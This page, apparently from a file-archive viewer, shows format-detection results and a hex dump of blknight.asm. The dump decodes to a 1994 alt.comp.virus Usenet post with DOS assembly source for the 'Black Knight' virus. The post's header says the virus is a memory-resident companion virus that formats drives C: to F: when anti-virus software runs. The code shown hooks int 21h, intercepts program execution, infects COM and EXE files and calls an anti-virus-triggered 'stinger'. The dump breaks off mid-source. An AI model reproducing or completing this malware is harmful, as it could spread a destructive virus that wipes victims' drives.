home *** CD-ROM | disk | FTP | other *** search
open in: 
MacOS 8.1
|
Win98
|
DOS
view JSON data
|
view as text
This file was processed as: Mailbox/MIME Entity
(archive/mbox).
You can browse this item here: blknight.asm
| Confidence | Program | Detection | Match Type | Support
|
|---|
| 100%
| dexvert
| Mailbox/MIME Entity (archive/mbox)
| magic
| Supported |
| 100%
| dexvert
| Internet Message Format (text/imf)
| magic
| Supported |
| 100%
| dexvert
| Assembly Source File (text/asm)
| magic
| Supported |
| 1%
| dexvert
| freeCAD assembly (other/freeCADAssembly)
| ext
| Unsupported |
| 1%
| dexvert
| Text File (text/txt)
| fallback
| Supported |
| 100%
| file
| Mailbox text, 1st line "From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994", ASCII text
| default
| |
| 100%
| TrID
| E-Mail message (Var. 2)
| default
| |
| 100%
| checkBytes
| Printable ASCII
| default
| |
| 100%
| perlTextCheck
| Likely Text (Perl)
| default
| |
| 100%
| siegfried
| x-fmt/111 Plain Text File
| default
| |
| 100%
| detectItEasy
| Format: plain text[LF]
| default (weak)
| |
| 100%
| xdgMime
| application/mbox
| default
|
|
hex view+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!|
|00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 6e 65 |ix.netco|m.com!ne|
|00000020| 74 6e 65 77 73 20 54 75 | 65 20 4e 6f 76 20 32 39 |tnews Tu|e Nov 29|
|00000030| 20 30 39 3a 34 33 3a 35 | 34 20 31 39 39 34 0a 58 | 09:43:5|4 1994.X|
|00000040| 72 65 66 3a 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 20 |ref: net|com.com |
|00000050| 61 6c 74 2e 63 6f 6d 70 | 2e 76 69 72 75 73 3a 35 |alt.comp|.virus:5|
|00000060| 30 38 0a 50 61 74 68 3a | 20 6e 65 74 63 6f 6d 2e |08.Path:| netcom.|
|00000070| 63 6f 6d 21 69 78 2e 6e | 65 74 63 6f 6d 2e 63 6f |com!ix.n|etcom.co|
|00000080| 6d 21 6e 65 74 6e 65 77 | 73 0a 46 72 6f 6d 3a 20 |m!netnew|s.From: |
|00000090| 5a 65 70 70 65 6c 69 6e | 40 69 78 2e 6e 65 74 63 |Zeppelin|@ix.netc|
|000000a0| 6f 6d 2e 63 6f 6d 20 28 | 4d 72 2e 20 47 29 0a 4e |om.com (|Mr. G).N|
|000000b0| 65 77 73 67 72 6f 75 70 | 73 3a 20 61 6c 74 2e 63 |ewsgroup|s: alt.c|
|000000c0| 6f 6d 70 2e 76 69 72 75 | 73 0a 53 75 62 6a 65 63 |omp.viru|s.Subjec|
|000000d0| 74 3a 20 42 6c 61 63 6b | 4b 6e 69 67 68 74 20 56 |t: Black|Knight V|
|000000e0| 69 72 75 73 20 28 41 4e | 54 49 20 41 56 20 56 49 |irus (AN|TI AV VI|
|000000f0| 52 55 53 29 0a 44 61 74 | 65 3a 20 32 39 20 4e 6f |RUS).Dat|e: 29 No|
|00000100| 76 20 31 39 39 34 20 31 | 33 3a 30 39 3a 32 33 20 |v 1994 1|3:09:23 |
|00000110| 47 4d 54 0a 4f 72 67 61 | 6e 69 7a 61 74 69 6f 6e |GMT.Orga|nization|
|00000120| 3a 20 4e 65 74 63 6f 6d | 0a 4c 69 6e 65 73 3a 20 |: Netcom|.Lines: |
|00000130| 33 37 36 0a 44 69 73 74 | 72 69 62 75 74 69 6f 6e |376.Dist|ribution|
|00000140| 3a 20 77 6f 72 6c 64 0a | 4d 65 73 73 61 67 65 2d |: world.|Message-|
|00000150| 49 44 3a 20 3c 33 62 66 | 39 36 33 24 69 64 69 40 |ID: <3bf|963$idi@|
|00000160| 69 78 6e 65 77 73 31 2e | 69 78 2e 6e 65 74 63 6f |ixnews1.|ix.netco|
|00000170| 6d 2e 63 6f 6d 3e 0a 52 | 65 66 65 72 65 6e 63 65 |m.com>.R|eference|
|00000180| 73 3a 20 3c 73 62 72 69 | 6e 67 65 72 44 30 30 79 |s: <sbri|ngerD00y|
|00000190| 48 76 2e 48 73 33 40 6e | 65 74 63 6f 6d 2e 63 6f |Hv.Hs3@n|etcom.co|
|000001a0| 6d 3e 20 3c 62 72 61 64 | 6c 65 79 6d 44 30 31 31 |m> <brad|leymD011|
|000001b0| 76 4a 2e 4c 70 38 40 6e | 65 74 63 6f 6d 2e 63 6f |vJ.Lp8@n|etcom.co|
|000001c0| 6d 3e 0a 4e 4e 54 50 2d | 50 6f 73 74 69 6e 67 2d |m>.NNTP-|Posting-|
|000001d0| 48 6f 73 74 3a 20 69 78 | 2d 70 61 73 32 2d 31 30 |Host: ix|-pas2-10|
|000001e0| 2e 69 78 2e 6e 65 74 63 | 6f 6d 2e 63 6f 6d 0a 0a |.ix.netc|om.com..|
|000001f0| 3b 42 6c 61 63 6b 20 4b | 6e 69 67 68 74 20 41 6e |;Black K|night An|
|00000200| 74 69 2d 56 69 72 75 73 | 2d 56 69 72 75 73 0a 3b |ti-Virus|-Virus.;|
|00000210| 53 69 7a 65 20 2d 20 35 | 32 30 0a 3b 0a 3b 54 61 |Size - 5|20.;.;Ta|
|00000220| 73 6d 20 42 4b 4e 49 47 | 48 54 0a 3b 54 6c 69 6e |sm BKNIG|HT.;Tlin|
|00000230| 6b 20 2f 54 20 42 4b 4e | 49 47 48 54 0a 3b 4d 65 |k /T BKN|IGHT.;Me|
|00000240| 6d 6f 72 79 20 52 65 73 | 69 64 65 6e 74 20 43 6f |mory Res|ident Co|
|00000250| 6d 70 61 6e 69 6f 6e 20 | 56 69 72 75 73 0a 3b 41 |mpanion |Virus.;A|
|00000260| 6e 74 69 2d 41 6e 74 69 | 2d 56 69 72 75 73 20 0a |nti-Anti|-Virus .|
|00000270| 3b 46 6f 72 6d 61 74 73 | 20 44 72 69 76 65 73 20 |;Formats| Drives |
|00000280| 43 3a 20 74 6f 20 46 3a | 20 57 68 65 6e 20 41 6e |C: to F:| When An|
|00000290| 74 69 2d 56 69 72 75 73 | 20 50 72 6f 64 75 63 74 |ti-Virus| Product|
|000002a0| 20 49 73 20 52 61 6e 0a | 3b 54 65 6d 70 65 73 74 | Is Ran.|;Tempest|
|000002b0| 20 2d 20 5f 20 4f 66 20 | 4c 75 78 65 6e 62 75 72 | - _ Of |Luxenbur|
|000002c0| 67 0a 3b 0a 0a 09 09 2e | 72 61 64 69 78 20 31 36 |g.;.....|radix 16|
|000002d0| 0a 20 20 20 20 20 63 73 | 65 67 20 20 20 20 20 20 |. cs|eg |
|000002e0| 20 73 65 67 6d 65 6e 74 | 0a 09 09 6d 6f 64 65 6c | segment|...model|
|000002f0| 20 20 73 6d 61 6c 6c 0a | 09 09 61 73 73 75 6d 65 | small.|..assume|
|00000300| 20 63 73 3a 63 73 65 67 | 2c 20 64 73 3a 63 73 65 | cs:cseg|, ds:cse|
|00000310| 67 2c 20 65 73 3a 63 73 | 65 67 0a 0a 09 09 6f 72 |g, es:cs|eg....or|
|00000320| 67 20 31 30 30 68 0a 0a | 6f 69 32 31 20 20 20 20 |g 100h..|oi21 |
|00000330| 20 20 20 20 20 20 20 20 | 65 71 75 20 65 6e 64 69 | |equ endi|
|00000340| 74 0a 66 69 6c 65 6c 65 | 6e 67 74 68 20 20 20 20 |t.filele|ngth |
|00000350| 20 20 65 71 75 20 65 6e | 64 69 74 20 2d 20 62 65 | equ en|dit - be|
|00000360| 67 69 6e 0a 6e 61 6d 65 | 70 74 72 20 20 20 20 20 |gin.name|ptr |
|00000370| 20 20 20 20 65 71 75 20 | 65 6e 64 69 74 2b 34 0a | equ |endit+4.|
|00000380| 44 54 41 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |DTA | |
|00000390| 65 71 75 20 65 6e 64 69 | 74 2b 38 0a 0a 09 20 0a |equ endi|t+8... .|
|000003a0| 0a 0a 0a 0a 62 65 67 69 | 6e 3a 20 20 20 20 20 20 |....begi|n: |
|000003b0| 20 20 20 20 6a 6d 70 20 | 20 20 20 20 76 69 72 75 | jmp | viru|
|000003c0| 73 5f 69 6e 73 74 61 6c | 6c 20 20 20 20 20 20 20 |s_instal|l |
|000003d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000003e0| 20 20 20 20 20 20 20 0a | 0a 76 69 72 75 73 5f 6e | .|.virus_n|
|000003f0| 61 6d 65 3a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ame: | |
|00000400| 0a 09 09 64 62 20 20 20 | 20 20 27 42 6c 61 63 6b |...db | 'Black|
|00000410| 20 4b 6e 69 67 68 74 27 | 0a 09 09 0a 0a 09 09 09 | Knight'|........|
|00000420| 09 09 09 20 3b 69 6e 73 | 74 61 6c 6c 0a 76 69 72 |... ;ins|tall.vir|
|00000430| 75 73 5f 69 6e 73 74 61 | 6c 6c 3a 20 20 0a 09 09 |us_insta|ll: ...|
|00000440| 6e 6f 70 0a 09 09 6e 6f | 70 0a 09 09 6e 6f 70 0a |nop...no|p...nop.|
|00000450| 09 09 6d 6f 76 20 20 20 | 20 20 61 78 2c 63 73 20 |..mov | ax,cs |
|00000460| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000470| 20 20 20 3b 20 72 65 64 | 75 63 65 20 6d 65 6d 6f | ; red|uce memo|
|00000480| 72 79 20 73 69 7a 65 20 | 20 20 0a 20 20 0a 09 09 |ry size | . ...|
|00000490| 64 65 63 20 20 20 20 20 | 61 78 20 20 20 20 20 20 |dec |ax |
|000004a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000004b0| 20 20 20 20 20 0a 09 09 | 6d 6f 76 20 20 20 20 20 | ...|mov |
|000004c0| 64 73 2c 61 78 20 20 20 | 20 20 20 20 20 20 20 20 |ds,ax | |
|000004d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 0a 09 09 | | ...|
|000004e0| 63 6d 70 20 20 20 20 20 | 62 79 74 65 20 70 74 72 |cmp |byte ptr|
|000004f0| 20 64 73 3a 5b 30 30 30 | 30 5d 2c 35 61 20 20 20 | ds:[000|0],5a |
|00000500| 20 20 20 20 20 0a 09 09 | 6a 6e 65 20 20 20 20 20 | ...|jne |
|00000510| 63 61 6e 63 65 6c 20 20 | 20 20 20 20 20 20 20 20 |cancel | |
|00000520| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 0a 09 | | ..|
|00000530| 09 6d 6f 76 20 20 20 20 | 20 61 78 2c 64 73 3a 5b |.mov | ax,ds:[|
|00000540| 30 30 30 33 5d 20 20 20 | 20 20 20 20 20 20 20 20 |0003] | |
|00000550| 20 20 20 20 20 20 0a 09 | 09 73 75 62 20 20 20 20 | ..|.sub |
|00000560| 20 61 78 2c 31 30 30 20 | 20 20 20 20 20 20 20 20 | ax,100 | |
|00000570| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 0a | | .|
|00000580| 09 09 6d 6f 76 20 20 20 | 20 20 64 73 3a 30 30 30 |..mov | ds:000|
|00000590| 33 2c 61 78 0a 5a 6f 70 | 79 5f 76 69 72 75 73 3a |3,ax.Zop|y_virus:|
|000005a0| 20 20 0a 09 09 6d 6f 76 | 20 20 20 20 20 62 78 2c | ...mov| bx,|
|000005b0| 61 78 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ax | |
|000005c0| 20 20 20 20 20 20 3b 20 | 63 6f 70 79 20 74 6f 20 | ; |copy to |
|000005d0| 63 6c 61 69 6d 65 64 20 | 62 6c 6f 63 6b 20 0a 20 |claimed |block . |
|000005e0| 0a 09 09 6d 6f 76 20 20 | 20 20 20 61 78 2c 65 73 |...mov | ax,es|
|000005f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000600| 20 20 20 20 20 20 20 20 | 0a 09 09 61 64 64 20 20 | |...add |
|00000610| 20 20 20 61 78 2c 62 78 | 20 20 20 20 20 20 20 20 | ax,bx| |
|00000620| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 0a | | .|
|00000630| 09 09 6d 6f 76 20 20 20 | 20 20 65 73 2c 61 78 0a |..mov | es,ax.|
|00000640| 09 09 6d 6f 76 20 20 20 | 20 20 63 78 2c 6f 66 66 |..mov | cx,off|
|00000650| 73 65 74 20 65 6e 64 69 | 74 20 2d 20 62 65 67 69 |set endi|t - begi|
|00000660| 6e 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |n | |
|00000670| 20 20 20 20 20 0a 09 09 | 6d 6f 76 20 20 20 20 20 | ...|mov |
|00000680| 61 78 2c 64 73 20 20 20 | 20 20 20 20 20 20 20 20 |ax,ds | |
|00000690| 20 20 20 20 20 20 20 20 | 20 20 20 20 0a 09 09 69 | | ...i|
|000006a0| 6e 63 20 20 20 20 20 61 | 78 0a 09 09 6d 6f 76 20 |nc a|x...mov |
|000006b0| 20 20 20 20 64 73 2c 61 | 78 0a 09 09 6c 65 61 20 | ds,a|x...lea |
|000006c0| 20 20 20 20 73 69 2c 64 | 73 3a 5b 62 65 67 69 6e | si,d|s:[begin|
|000006d0| 5d 20 20 20 20 20 20 20 | 20 20 20 20 20 0a 09 09 |] | ...|
|000006e0| 6c 65 61 20 20 20 20 20 | 64 69 2c 65 73 3a 30 31 |lea |di,es:01|
|000006f0| 30 30 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |00 | |
|00000700| 20 20 20 20 0a 09 09 72 | 65 70 20 20 20 20 20 6d | ...r|ep m|
|00000710| 6f 76 73 62 20 20 20 20 | 20 20 20 20 20 20 20 20 |ovsb | |
|00000720| 20 20 20 20 20 20 20 20 | 20 20 20 0a 09 09 09 09 | | .....|
|00000730| 09 09 20 20 20 20 0a 0a | 0a 47 72 61 62 5f 32 31 |.. ..|.Grab_21|
|00000740| 3a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |: | |
|00000750| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000760| 20 20 20 20 20 20 0a 09 | 09 0a 09 09 6d 6f 76 20 | ..|....mov |
|00000770| 20 20 20 20 64 73 2c 63 | 78 20 20 20 20 20 20 20 | ds,c|x |
|00000780| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 68 6f | | ; ho|
|00000790| 6f 6b 20 69 6e 74 20 32 | 31 68 0a 09 09 6d 6f 76 |ok int 2|1h...mov|
|000007a0| 20 20 20 20 20 73 69 2c | 30 30 38 34 68 20 20 20 | si,|0084h |
|000007b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 0a | | ; .|
|000007c0| 09 09 6d 6f 76 20 20 20 | 20 20 64 69 2c 6f 66 66 |..mov | di,off|
|000007d0| 73 65 74 20 6f 69 32 31 | 0a 09 09 6d 6f 76 20 20 |set oi21|...mov |
|000007e0| 20 20 20 64 78 2c 6f 66 | 66 73 65 74 20 63 68 65 | dx,of|fset che|
|000007f0| 63 6b 5f 65 78 65 63 0a | 09 09 6c 6f 64 73 77 0a |ck_exec.|..lodsw.|
|00000800| 09 09 63 6d 70 20 20 20 | 20 20 61 78 2c 64 78 20 |..cmp | ax,dx |
|00000810| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000820| 20 20 3b 0a 09 09 6a 65 | 20 20 20 20 20 20 63 61 | ;...je| ca|
|00000830| 6e 63 65 6c 20 20 20 20 | 20 20 20 20 20 20 20 20 |ncel | |
|00000840| 20 20 20 20 20 20 3b 20 | 65 78 69 74 2c 20 69 66 | ; |exit, if|
|00000850| 20 61 6c 72 65 61 64 79 | 20 0a 69 6e 73 74 61 6c | already| .instal|
|00000860| 6c 65 64 0a 09 09 73 74 | 6f 73 77 0a 09 09 6d 6f |led...st|osw...mo|
|00000870| 76 73 77 0a 09 09 0a 09 | 09 70 75 73 68 20 20 20 |vsw.....|.push |
|00000880| 20 65 73 20 0a 09 09 70 | 6f 70 20 20 20 20 20 64 | es ...p|op d|
|00000890| 73 0a 09 09 6d 6f 76 20 | 20 20 20 20 61 78 2c 32 |s...mov | ax,2|
|000008a0| 35 32 31 68 20 20 20 20 | 20 20 20 20 20 20 20 20 |521h | |
|000008b0| 20 20 20 20 3b 20 72 65 | 76 65 63 74 6f 72 20 69 | ; re|vector i|
|000008c0| 6e 74 20 32 31 68 20 74 | 6f 20 0a 76 69 72 75 73 |nt 21h t|o .virus|
|000008d0| 0a 09 09 6e 6f 70 0a 09 | 09 69 6e 74 20 20 20 20 |...nop..|.int |
|000008e0| 20 32 31 68 0a 09 09 6e | 6f 70 20 20 20 20 20 20 | 21h...n|op |
|000008f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000900| 20 20 20 20 20 20 20 20 | 20 20 0a 0a 63 61 6e 63 | | ..canc|
|00000910| 65 6c 3a 20 20 20 20 20 | 20 20 20 20 72 65 74 20 |el: | ret |
|00000920| 20 20 20 20 20 20 20 20 | 20 0a 0a 63 68 65 63 6b | | ..check|
|00000930| 5f 65 78 65 63 3a 20 20 | 20 20 20 0a 09 09 70 75 |_exec: | ...pu|
|00000940| 73 68 66 0a 0a 09 09 70 | 75 73 68 20 20 20 20 65 |shf....p|ush e|
|00000950| 73 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s | |
|00000960| 20 20 20 20 20 20 3b 20 | 70 75 73 68 20 65 76 65 | ; |push eve|
|00000970| 72 79 74 68 69 6e 67 20 | 6f 6e 74 6f 20 0a 74 68 |rything |onto .th|
|00000980| 65 0a 09 09 70 75 73 68 | 20 20 20 20 64 73 20 20 |e...push| ds |
|00000990| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000009a0| 20 20 20 3b 20 73 74 61 | 63 6b 0a 09 09 70 75 73 | ; sta|ck...pus|
|000009b0| 68 20 20 20 20 61 78 0a | 09 09 70 75 73 68 20 20 |h ax.|..push |
|000009c0| 20 20 62 78 0a 09 09 70 | 75 73 68 20 20 20 20 64 | bx...p|ush d|
|000009d0| 78 0a 0a 09 09 63 6d 70 | 20 20 20 20 20 61 78 2c |x....cmp| ax,|
|000009e0| 30 34 42 30 30 68 20 20 | 20 20 20 20 20 20 20 20 |04B00h | |
|000009f0| 20 20 20 20 20 3b 20 69 | 73 20 74 68 65 20 66 69 | ; i|s the fi|
|00000a00| 6c 65 20 62 65 69 6e 67 | 20 0a 09 09 0a 09 09 0a |le being| .......|
|00000a10| 09 09 0a 09 09 6a 6e 65 | 20 20 20 20 20 61 62 6f |.....jne| abo|
|00000a20| 72 74 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |rt | |
|00000a30| 20 20 20 20 20 3b 20 65 | 78 65 63 75 74 65 64 3f | ; e|xecuted?|
|00000a40| 0a 09 09 0a 09 09 0a 0a | 0a 09 09 09 09 09 20 20 |........|...... |
|00000a50| 20 20 20 3b 69 66 20 79 | 65 73 2c 20 74 72 79 20 | ;if y|es, try |
|00000a60| 74 68 65 5f 73 74 69 6e | 67 65 72 0a 64 6f 5f 69 |the_stin|ger.do_i|
|00000a70| 6e 66 65 63 74 3a 20 20 | 20 20 20 20 63 61 6c 6c |nfect: | call|
|00000a80| 20 20 20 20 69 6e 66 65 | 63 74 20 20 20 20 20 20 | infe|ct |
|00000a90| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 74 68 | | ; th|
|00000aa0| 65 6e 20 74 72 79 20 74 | 6f 20 69 6e 66 65 63 74 |en try t|o infect|
|00000ab0| 0a 09 09 0a 09 09 0a 09 | 09 09 20 20 20 20 20 20 |........|.. |
|00000ac0| 0a 0a 61 62 6f 72 74 3a | 20 20 20 20 20 20 20 20 |..abort:| |
|00000ad0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000ae0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000af0| 3b 20 72 65 73 74 6f 72 | 65 20 65 76 65 72 79 74 |; restor|e everyt|
|00000b00| 68 69 6e 67 0a 09 09 70 | 6f 70 20 20 20 20 20 64 |hing...p|op d|
|00000b10| 78 0a 09 09 70 6f 70 20 | 20 20 20 20 62 78 0a 09 |x...pop | bx..|
|00000b20| 09 70 6f 70 20 20 20 20 | 20 61 78 0a 09 09 70 6f |.pop | ax...po|
|00000b30| 70 20 20 20 20 20 64 73 | 0a 09 09 70 6f 70 20 20 |p ds|...pop |
|00000b40| 20 20 20 65 73 0a 09 09 | 70 6f 70 66 0a 0a 42 79 | es...|popf..By|
|00000b50| 65 5f 42 79 65 3a 20 20 | 20 20 20 20 0a 09 09 09 |e_Bye: | ....|
|00000b60| 09 20 20 20 3b 20 65 78 | 69 74 0a 09 09 6a 6d 70 |. ; ex|it...jmp|
|00000b70| 20 20 20 20 20 64 77 6f | 72 64 20 70 74 72 20 63 | dwo|rd ptr c|
|00000b80| 73 3a 5b 6f 69 32 31 5d | 20 20 20 20 20 20 20 20 |s:[oi21]| |
|00000b90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 0a 0a 0a | | ...|
|00000ba0| 6e 65 77 5f 32 34 68 3a | 20 20 20 20 20 20 20 20 |new_24h:| |
|00000bb0| 0a 09 09 6d 6f 76 20 20 | 20 20 20 61 6c 2c 33 20 |...mov | al,3 |
|00000bc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 63 72 | | ; cr|
|00000bd0| 69 74 69 63 61 6c 20 65 | 72 72 6f 72 20 68 61 6e |itical e|rror han|
|00000be0| 64 6c 65 72 0a 09 09 69 | 72 65 74 0a 0a 69 6e 66 |dler...i|ret..inf|
|00000bf0| 65 63 74 3a 20 20 20 20 | 20 20 20 20 20 20 0a 09 |ect: | ..|
|00000c00| 09 6d 6f 76 20 20 20 20 | 20 63 73 3a 5b 6e 61 6d |.mov | cs:[nam|
|00000c10| 65 5f 73 65 67 5d 2c 64 | 73 20 20 20 20 20 20 20 |e_seg],d|s |
|00000c20| 3b 20 68 65 72 65 2c 20 | 74 68 65 20 76 69 72 75 |; here, |the viru|
|00000c30| 73 20 0a 65 73 73 65 6e | 74 69 61 6c 6c 79 0a 09 |s .essen|tially..|
|00000c40| 09 6d 6f 76 20 20 20 20 | 20 63 73 3a 5b 6e 61 6d |.mov | cs:[nam|
|00000c50| 65 5f 6f 66 66 5d 2c 64 | 78 20 20 20 20 20 20 20 |e_off],d|x |
|00000c60| 3b 20 63 6f 70 69 65 73 | 20 74 68 65 20 6e 61 6d |; copies| the nam|
|00000c70| 65 20 6f 66 20 74 68 65 | 0a 09 09 0a 09 09 63 6c |e of the|......cl|
|00000c80| 64 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |d | |
|00000c90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 6c | | ; l|
|00000ca0| 6f 61 64 65 64 20 66 69 | 6c 65 20 69 6e 74 6f 20 |oaded fi|le into |
|00000cb0| 61 20 0a 62 75 66 66 65 | 72 0a 09 09 6d 6f 76 20 |a .buffe|r...mov |
|00000cc0| 20 20 20 20 64 69 2c 64 | 78 20 20 20 20 20 20 20 | di,d|x |
|00000cd0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 73 6f 20 | | ; so |
|00000ce0| 74 68 61 74 20 69 74 20 | 63 61 6e 20 62 65 20 0a |that it |can be .|
|00000cf0| 63 6f 6d 70 61 72 65 64 | 0a 09 09 70 75 73 68 20 |compared|...push |
|00000d00| 20 20 20 64 73 20 20 20 | 20 20 20 20 20 20 20 20 | ds | |
|00000d10| 20 20 20 20 20 20 20 20 | 20 20 3b 20 61 67 61 69 | | ; agai|
|00000d20| 6e 73 74 20 74 68 65 20 | 64 65 66 61 75 6c 74 20 |nst the |default |
|00000d30| 0a 6e 61 6d 65 73 0a 09 | 09 70 6f 70 20 20 20 20 |.names..|.pop |
|00000d40| 20 65 73 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | es | |
|00000d50| 20 20 20 20 20 20 20 20 | 3b 20 69 6e 20 74 68 65 | |; in the|
|00000d60| 5f 73 74 69 6e 67 65 72 | 0a 09 09 6d 6f 76 20 20 |_stinger|...mov |
|00000d70| 20 20 20 61 6c 2c 27 2e | 27 20 20 20 20 20 20 20 | al,'.|' |
|00000d80| 20 20 20 20 20 20 20 20 | 20 20 3b 20 73 75 62 72 | | ; subr|
|00000d90| 6f 75 74 69 6e 65 20 0a | 09 09 72 65 70 6e 65 20 |outine .|..repne |
|00000da0| 20 20 73 63 61 73 62 20 | 20 20 20 20 20 20 20 20 | scasb | |
|00000db0| 20 20 20 20 20 20 20 20 | 20 3b 20 3c 2d 2d 20 0a | | ; <-- .|
|00000dc0| 09 09 0a 09 09 63 61 6c | 6c 20 20 20 20 74 68 65 |.....cal|l the|
|00000dd0| 5f 73 74 69 6e 67 65 72 | 20 20 20 20 20 20 20 20 |_stinger| |
|00000de0| 20 20 20 20 3b 20 63 68 | 65 63 6b 20 66 6f 72 20 | ; ch|eck for |
|00000df0| 61 6e 74 69 2d 76 69 72 | 75 73 20 0a 6c 6f 61 64 |anti-vir|us .load|
|00000e00| 0a 09 09 09 09 09 20 20 | 20 20 20 20 20 3b 20 61 |...... | ; a|
|00000e10| 6e 64 20 64 65 70 6c 6f | 79 20 74 68 65 5f 73 74 |nd deplo|y the_st|
|00000e20| 69 6e 67 65 72 0a 09 09 | 0a 09 09 0a 09 09 0a 09 |inger...|........|
|00000e30| 09 63 6c 64 0a 09 09 6d | 6f 76 20 20 20 20 20 77 |.cld...m|ov w|
|00000e40| 6f 72 64 20 70 74 72 20 | 63 73 3a 5b 6e 61 6d 65 |ord ptr |cs:[name|
|00000e50| 70 74 72 5d 2c 64 78 0a | 09 09 6d 6f 76 20 20 20 |ptr],dx.|..mov |
|00000e60| 20 20 77 6f 72 64 20 70 | 74 72 20 63 73 3a 5b 6e | word p|tr cs:[n|
|00000e70| 61 6d 65 70 74 72 2b 32 | 5d 2c 64 73 0a 0a 09 09 |ameptr+2|],ds....|
|00000e80| 6d 6f 76 20 20 20 20 20 | 61 68 2c 32 46 68 0a 09 |mov |ah,2Fh..|
|00000e90| 09 69 6e 74 20 20 20 20 | 20 32 31 68 0a 09 09 70 |.int | 21h...p|
|00000ea0| 75 73 68 20 20 20 20 65 | 73 0a 09 09 70 75 73 68 |ush e|s...push|
|00000eb0| 20 20 20 20 62 78 0a 0a | 09 09 70 75 73 68 20 20 | bx..|..push |
|00000ec0| 20 20 63 73 0a 0a 09 09 | 70 6f 70 20 20 20 20 20 | cs....|pop |
|00000ed0| 64 73 0a 09 09 6d 6f 76 | 20 20 20 20 20 64 78 2c |ds...mov| dx,|
|00000ee0| 6f 66 66 73 65 74 20 44 | 54 41 0a 09 09 6d 6f 76 |offset D|TA...mov|
|00000ef0| 20 20 20 20 20 61 68 2c | 31 41 68 0a 09 09 69 6e | ah,|1Ah...in|
|00000f00| 74 20 20 20 20 20 32 31 | 68 0a 0a 09 09 63 61 6c |t 21|h....cal|
|00000f10| 6c 20 20 20 20 73 65 61 | 72 63 68 70 6f 69 6e 74 |l sea|rchpoint|
|00000f20| 0a 09 09 70 75 73 68 20 | 20 20 20 64 69 0a 09 09 |...push | di...|
|00000f30| 6d 6f 76 20 20 20 20 20 | 73 69 2c 6f 66 66 73 65 |mov |si,offse|
|00000f40| 74 20 43 4f 4d 5f 74 78 | 74 0a 0a 09 09 6d 6f 76 |t COM_tx|t....mov|
|00000f50| 20 20 20 20 20 63 78 2c | 33 0a 09 20 72 65 70 20 | cx,|3.. rep |
|00000f60| 20 20 20 63 6d 70 73 62 | 20 0a 09 09 70 6f 70 20 | cmpsb| ...pop |
|00000f70| 20 20 20 20 64 69 0a 09 | 09 6a 7a 20 20 20 20 20 | di..|.jz |
|00000f80| 20 64 6f 5f 63 6f 6d 0a | 09 09 6d 6f 76 20 20 20 | do_com.|..mov |
|00000f90| 20 20 73 69 2c 6f 66 66 | 73 65 74 20 45 58 45 5f | si,off|set EXE_|
|00000fa0| 74 78 74 0a 09 09 6e 6f | 70 0a 09 09 6d 6f 76 20 |txt...no|p...mov |
|00000fb0| 20 20 20 20 63 6c 2c 33 | 0a 09 09 72 65 70 20 20 | cl,3|...rep |
|00000fc0| 20 20 20 63 6d 70 73 62 | 0a 09 09 6a 6e 7a 20 20 | cmpsb|...jnz |
|00000fd0| 20 20 20 72 65 74 75 72 | 6e 0a 0a 64 6f 5f 65 78 | retur|n..do_ex|
|00000fe0| 65 3a 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |e: | mov |
|00000ff0| 20 20 20 73 69 2c 6f 66 | 66 73 65 74 20 43 4f 4d | si,of|fset COM|
|00001000| 5f 74 78 74 0a 09 09 6e | 6f 70 0a 09 09 63 61 6c |_txt...n|op...cal|
|00001010| 6c 20 20 20 20 63 68 61 | 6e 67 65 5f 65 78 74 0a |l cha|nge_ext.|
|00001020| 09 09 6d 6f 76 20 20 20 | 20 20 61 78 2c 33 33 30 |..mov | ax,330|
|00001030| 30 68 0a 09 09 6e 6f 70 | 0a 09 09 69 6e 74 20 20 |0h...nop|...int |
|00001040| 20 20 20 32 31 68 0a 09 | 09 70 75 73 68 20 20 20 | 21h..|.push |
|00001050| 20 64 78 0a 0a 09 09 63 | 77 64 0a 09 09 69 6e 63 | dx....c|wd...inc|
|00001060| 20 20 20 20 20 61 78 0a | 09 09 70 75 73 68 20 20 | ax.|..push |
|00001070| 20 20 61 78 0a 09 09 69 | 6e 74 20 20 20 20 20 32 | ax...i|nt 2|
|00001080| 31 68 0a 0a 47 72 61 62 | 32 34 68 3a 20 20 20 20 |1h..Grab|24h: |
